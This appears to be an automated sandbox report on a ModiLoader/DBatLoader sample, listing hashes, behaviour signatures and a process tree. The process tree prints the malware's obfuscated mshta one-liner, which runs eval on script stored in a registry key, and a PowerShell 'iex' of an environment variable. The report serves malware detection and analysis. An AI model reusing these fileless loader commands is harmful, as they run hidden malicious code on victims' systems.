Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-05-2024 00:08

General

  • Target

    2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe

  • Size

    280KB

  • MD5

    2255a6d2acb13100fa8a3c5f41c18e6a

  • SHA1

    90144fa9929ee5a60804f55f8728366f270ee24a

  • SHA256

    a55eceaf61aec51a64be7f8b9b2db0d7309b197dd9811378a619185b8887e25e

  • SHA512

    77a1a43a50a5597f3d9da7a5cde063166214cdd30e1124dea7824c7241790984844d669a4fa2e6bbb3bd0947f9dc25ac0195ac1d65259d4f3d40f1d5009df540

  • SSDEEP

    3072:M6+41Rx4dmFrSvLWG88MOE+cjqr3au5llnt6pCO4d+Lk24SBXpjihtly8rj3EY0Q:xVmLW/8MCp5llt6wFd5oPji7r5yTh34B

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Users\Admin\AppData\Local\Temp\2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\2255a6d2acb13100fa8a3c5f41c18e6a_JaffaCakes118.exe"
      2⤵
        PID:4708
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:ie9ROFH="MZmmo87";e2E7=new%20ActiveXObject("WScript.Shell");f4Afp="E";wh7im7=e2E7.RegRead("HKLM\\software\\Wow6432Node\\TsKfzBlpfX\\sJd7ke");ZX5iHe="MjLUmqKj";eval(wh7im7);O9rFdG6="B3AArkQF";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:116
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zoaiio
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:804
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4076 --field-trial-handle=2236,i,5367110156796017614,12594004256180761011,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:3900

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhppubqr.0xk.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/804-14-0x0000000004870000-0x00000000048A6000-memory.dmp

        Filesize

        216KB

      • memory/804-18-0x00000000056B0000-0x0000000005716000-memory.dmp

        Filesize

        408KB

      • memory/804-31-0x0000000007420000-0x0000000007A9A000-memory.dmp

        Filesize

        6.5MB

      • memory/804-29-0x0000000005C30000-0x0000000005C4E000-memory.dmp

        Filesize

        120KB

      • memory/804-28-0x0000000005720000-0x0000000005A74000-memory.dmp

        Filesize

        3.3MB

      • memory/804-17-0x0000000005640000-0x00000000056A6000-memory.dmp

        Filesize

        408KB

      • memory/804-16-0x0000000004E40000-0x0000000004E62000-memory.dmp

        Filesize

        136KB

      • memory/804-15-0x0000000004EE0000-0x0000000005508000-memory.dmp

        Filesize

        6.2MB

      • memory/804-32-0x0000000006120000-0x000000000613A000-memory.dmp

        Filesize

        104KB

      • memory/804-30-0x0000000005DB0000-0x0000000005DFC000-memory.dmp

        Filesize

        304KB

      • memory/4708-11-0x0000000000A60000-0x0000000000B36000-memory.dmp

        Filesize

        856KB

      • memory/4708-6-0x0000000000A60000-0x0000000000B36000-memory.dmp

        Filesize

        856KB

      • memory/4708-7-0x0000000000A60000-0x0000000000B36000-memory.dmp

        Filesize

        856KB

      • memory/4708-2-0x0000000000400000-0x000000000043A000-memory.dmp

        Filesize

        232KB

      • memory/4708-4-0x0000000000400000-0x000000000043A000-memory.dmp

        Filesize

        232KB

      • memory/4708-9-0x0000000000A60000-0x0000000000B36000-memory.dmp

        Filesize

        856KB

      • memory/4708-10-0x0000000000A60000-0x0000000000B36000-memory.dmp

        Filesize

        856KB

      • memory/4708-5-0x0000000000400000-0x000000000043A000-memory.dmp

        Filesize

        232KB

      • memory/4708-8-0x0000000000A60000-0x0000000000B36000-memory.dmp

        Filesize

        856KB

      • memory/4708-12-0x0000000000A60000-0x0000000000B36000-memory.dmp

        Filesize

        856KB